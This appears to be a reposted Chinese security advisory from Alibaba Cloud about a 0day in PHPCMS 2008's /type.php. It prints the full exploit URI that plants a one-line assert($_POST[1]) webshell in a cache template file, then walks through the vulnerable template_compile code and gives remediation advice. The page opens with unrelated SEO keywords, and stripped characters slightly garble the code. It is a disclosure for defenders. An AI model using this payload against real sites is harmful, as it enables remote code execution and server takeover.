响应式网站有什么弊端,WordPress文章添加地图导航,青岛网站设计怎么选,手机代理服务器免费版11月4日#xff0c;阿里云安全首次捕获PHPCMS 2008版本的/type.php远程GetShell 0day利用攻击#xff0c;攻击者可以利用该漏洞远程植入webshell#xff0c;导致文件篡改、数据泄漏、服务器被远程控制等一系列严重问题。建议受影响用户尽快升级到最新版本修复。
—————…11月4日阿里云安全首次捕获PHPCMS 2008版本的/type.php远程GetShell 0day利用攻击攻击者可以利用该漏洞远程植入webshell导致文件篡改、数据泄漏、服务器被远程控制等一系列严重问题。建议受影响用户尽快升级到最新版本修复。
——————— PHPCMS网站内容管理系统是国内主流CMS系统之一同时也是一个开源的PHP开发框架。
PHPCMS最早于2008年推出最新版已出到v9.6.3但由于稳定、灵活、开源的特性时至今日PHPCMS2008版本仍被许多网站所使用。
漏洞细节
当攻击者向安装有PHPCMS 2008的网站发送uri为如下文本的payload
/type.php?templatetag_(){};unlink(_FILE_);assert($_POST[1]);{//../rss
那么unlink(_FILE_);assert($_POST[1]);这句恶意php指令将被写入网站的/cache_template/rss.tpl.php文件。
漏洞原理
该漏洞源于PHPCMS 2008源码中的/type.php文件。该文件包含如下代码
if(empty($template)) $template type;
...
include template(phpcms, $template);
这里template变量是用户能够通过传入参数控制的同时可以看到该变量之后会被传入template()方法。而template()方法在/include/global.func.php文件中定义包含如下代码template_compile($module, $template, $istag);
不难看出这里会继续调用/include/template.func.php中的template_compile()
function template_compile($module, $template, $istag 0)
{...$compiledtplfile TPL_CACHEPATH.$module._.$template..tpl.php;$content ($istag || substr($template, 0, 4) tag_) ? ?php function _tag_.$module._.$template.($data, $number, $rows, $count, $page, $pages, $setting){ global $PHPCMS,$MODULE,$M,$CATEGORY,$TYPE,$AREA,$GROUP,$MODEL,$templateid,$_userid,$_username;extract($setting);?.template_parse($content, 1).?php } ? : template_parse($content);$strlen file_put_contents($compiledtplfile, $content);...
}
在这个方法中template变量同时被用于compiledtplfile变量中文件路径的生成和content变量中文件内容的生成。
而前文所述的攻击payload将template变量被设置为如下的值tag_(){};unlink(_FILE_);assert($_POST[1]);{//../rss
所以在template_compile()方法中调用file_put_contents()函数时的第一个参数就被写成了data/cache_template/phpcms_tag_(){};unlink(_FILE_);assert($_POST[1]);{//../rss.tpl.php这将被php解析成data/cache_template/rss.tpl.php。
最终unlink(_FILE_);assert($_POST[1]);将被写入该文件。
影响范围
虽然距离PHPCMS2008版本的推出已经10年但仍有不少网站正在使用PHPCMS2008包括政府、企业的网站根据Fofa网络空间安全搜索引擎的全网精确搜索结果显示还有近200个使用PHPCMS2008版本的网站而如果使用模糊匹配对网站进行识别匹配结果更达上万个。
通过利用该漏洞攻击者在向路径可控的文件写入恶意脚本代码后后续将能够向该文件发送webshell指令在服务器上执行任意代码因此该代码注入漏洞的影响较大。
安全建议
手动修复 临时解决可以在/type.php文件中对template变量进行过滤避免用户输入的含有(、{等符号的内容混入并被当做路径和脚本内容处理。
但由于PHPCMS2008版本过旧用户应尽量升级到最新版本的PHPCMS才能够更好地保障安全。
安全加固 •云防火墙已支持对该类漏洞的入侵防御开启云防火墙IPS拦截模式和虚拟补丁功能用户即使不自行进行修复也依然能够进行防御和拦截。 •购买安全管家服务您将能够在阿里云安全专家指导下进行安全加固及优化避免系统受到该漏洞及后续其他漏洞影响。 原文链接 本文为云栖社区原创内容未经允许不得转载。